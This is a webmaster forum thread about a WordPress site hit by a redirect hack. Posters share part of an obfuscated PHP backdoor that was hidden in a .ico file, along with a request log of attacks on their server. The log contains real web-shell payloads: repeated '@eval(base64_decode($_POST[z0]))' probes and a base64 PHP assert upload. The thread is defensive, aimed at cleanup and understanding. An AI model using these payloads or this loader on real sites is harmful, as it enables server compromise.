Issue with WordPress Website Redirecting

[allfreechips]

note had an issue with !== $mylogin in orig post,updated it so may not be logging if you tried earlier one

[Aidan90]

It was a .ico file with a load of code like this:

<?php
$_ac18ps = basename/*hj692*/(/*n*/trim/*gnu*/(/*bi90o*/preg_replace/*e*/(/*bi*/rawurldecode/*s8u9*/(/*j*/"%2F%5C%28.%2A%24%2F"/*570*/)/*fp1*/, '', __FILE__/*7jz3t*/)/*zhgp7*//*4tr67*/)/*t6a*//*2tns*/)/*wdn1*/;$_id8kav = "GV%18%1C%19T%07%00%5D%40%0C%07G%09CLF%5DQ%0F9WA%0 7%17%0AVDgWJU%03%12Q%0ENJF%24K2P%5DV%0B%08Q%06N%10 %1B%5CUYYgS%0D%08%40K%11%170MB%5DULUBA%18%0EXJT%24 pQZQo%11%

What was the dodgy code mate? Just, realized I have that plugin installed?

[allfreechips]

Yeah there is an article on this, they decode / encode with different cyphers but launch it with base64 evlas in posts..

[Aidan90]

You have a link to that article by any chance?

[allfreechips]

this is it, gets deep

https://www.masswerk.at/nowgobang/20...-a-wp-backdoor

[allfreechips]

here is a TINY sample of the attacks on one of my sites

 post - 11/21/2019 03:52:41 pmhttp://worldgamblingnews.com/plus/90sec.phpguige : @eval(base64_decode($_POST[z0]));
 post - 11/21/2019 03:52:41 pmhttp://worldgamblingnews.com/plus/90sec.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
 post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0a : config
 post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0source : d7.2_x2.0
 post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0submit : ±£´æ·þÎñÆ÷ÉèÖÃ
 post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0newconfig : Array
 post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/data/config.inc.phptom : @eval(base64_decode($_POST[z0]));
 post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/data/config.inc.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
 post - 11/21/2019 03:52:43 pmhttp://worldgamblingnews.com/uploads/dede/sys_verifies.php?action=downysy : @eval(base64_decode($_POST[z0]));
 post - 11/21/2019 03:52:43 pmhttp://worldgamblingnews.com/uploads/dede/sys_verifies.php?action=downz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
 post - 11/21/2019 03:52:44 pmhttp://worldgamblingnews.com/index.php/api/Uploadify/previewdata:image/php;base64,PD9waHAgYXNzZXJ0KCRfUE9TVFsibGVxdSJdKTs/Pg : =
 post - 11/21/2019 03:52:44 pmhttp://worldgamblingnews.com/fdgq.phplequ : @eval(base64_decode($_POST[z0]));
 post - 11/21/2019 03:52:44 pmhttp://worldgamblingnews.com/fdgq.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
 post - 11/21/2019 03:52:45 pmhttp://worldgamblingnews.com/hytsn.php_ : @eval(base64_decode($_POST[z0]));
 post - 11/21/2019 03:52:45 pmhttp://worldgamblingnews.com/hytsn.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
 post - 11/21/2019 03:52:46 pmhttp://worldgamblingnews.com/ysyqq.phpysy : @eval(base64_decode($_POST[z0]));
 post - 11/21/2019 03:52:46 pmhttp://worldgamblingnews.com/ysyqq.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7